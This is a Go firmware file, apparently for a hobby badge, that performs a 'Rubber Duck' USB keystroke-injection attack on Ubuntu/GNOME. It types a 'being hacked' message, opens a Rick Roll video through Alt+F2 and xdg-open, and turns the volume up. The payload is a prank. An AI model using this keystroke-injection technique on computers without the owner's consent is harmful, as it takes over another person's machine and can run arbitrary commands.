84 lines
2.1 KiB
Go
84 lines
2.1 KiB
Go
|
|
package main
|
||
|
|
|
||
|
|
// Rubber Duck attack - USB HID keyboard automation.
|
||
|
|
// The badge presents itself as a USB keyboard and executes a sequence of
|
||
|
|
// keystrokes on the connected computer.
|
||
|
|
//
|
||
|
|
// TARGETS UBUNTU/GNOME. For other platforms adjust the key sequences.
|
||
|
|
// NOTE: keyboard scan codes are US layout; non-US layouts may produce
|
||
|
|
// different characters for symbols (/, -, :, etc.).
|
||
|
|
//
|
||
|
|
// Press button A to trigger the attack. The badge waits on startup
|
||
|
|
// so you have time to plug it in safely.
|
||
|
|
|
||
|
|
import (
|
||
|
|
"machine"
|
||
|
|
"machine/usb/hid/keyboard"
|
||
|
|
"time"
|
||
|
|
)
|
||
|
|
|
||
|
|
func main() {
|
||
|
|
// wait for USB enumeration
|
||
|
|
time.Sleep(2 * time.Second)
|
||
|
|
|
||
|
|
// button A arms the attack — only runs when pressed
|
||
|
|
btnA := machine.P1_06
|
||
|
|
btnA.Configure(machine.PinConfig{Mode: machine.PinInputPullup})
|
||
|
|
|
||
|
|
kb := keyboard.Port()
|
||
|
|
|
||
|
|
for {
|
||
|
|
if !btnA.Get() {
|
||
|
|
runAttack(kb)
|
||
|
|
// only run once per press
|
||
|
|
for !btnA.Get() {
|
||
|
|
time.Sleep(50 * time.Millisecond)
|
||
|
|
}
|
||
|
|
}
|
||
|
|
time.Sleep(10 * time.Millisecond)
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
func runAttack(kb keyboard.Device) {
|
||
|
|
// open application launcher (Super key on Ubuntu/GNOME)
|
||
|
|
kb.Down(keyboard.KeyLeftGUI)
|
||
|
|
time.Sleep(time.Second)
|
||
|
|
kb.Up(keyboard.KeyLeftGUI)
|
||
|
|
time.Sleep(500 * time.Millisecond)
|
||
|
|
|
||
|
|
// search for text editor
|
||
|
|
kb.Write([]byte("text"))
|
||
|
|
time.Sleep(1500 * time.Millisecond)
|
||
|
|
kb.Press(keyboard.KeyEnter)
|
||
|
|
time.Sleep(time.Second)
|
||
|
|
|
||
|
|
// type the ominous message
|
||
|
|
kb.Write([]byte("Please wait while you are being hacked"))
|
||
|
|
time.Sleep(2 * time.Second)
|
||
|
|
|
||
|
|
// open run dialog (Alt+F2 on GNOME) and launch xdg-open
|
||
|
|
// NOTE: symbols below assume US keyboard layout
|
||
|
|
kb.Down(keyboard.KeyLeftAlt)
|
||
|
|
kb.Down(keyboard.KeyF2)
|
||
|
|
time.Sleep(time.Second)
|
||
|
|
kb.Up(keyboard.KeyF2)
|
||
|
|
kb.Up(keyboard.KeyLeftAlt)
|
||
|
|
time.Sleep(time.Second)
|
||
|
|
|
||
|
|
kb.Write([]byte("xdg"))
|
||
|
|
kb.Press(keyboard.KeypadMinus)
|
||
|
|
kb.Write([]byte("open https>"))
|
||
|
|
kb.Press(keyboard.KeypadSlash)
|
||
|
|
kb.Press(keyboard.KeypadSlash)
|
||
|
|
kb.Write([]byte("www.youtube.com"))
|
||
|
|
kb.Press(keyboard.KeypadSlash)
|
||
|
|
kb.Write([]byte("watch_v)dQw4w9WgXcQ"))
|
||
|
|
kb.Press(keyboard.KeyEnter)
|
||
|
|
|
||
|
|
// turn the volume up
|
||
|
|
time.Sleep(500 * time.Millisecond)
|
||
|
|
for i := 0; i < 12; i++ {
|
||
|
|
kb.Press(keyboard.KeyMediaVolumeInc)
|
||
|
|
}
|
||
|
|
}
|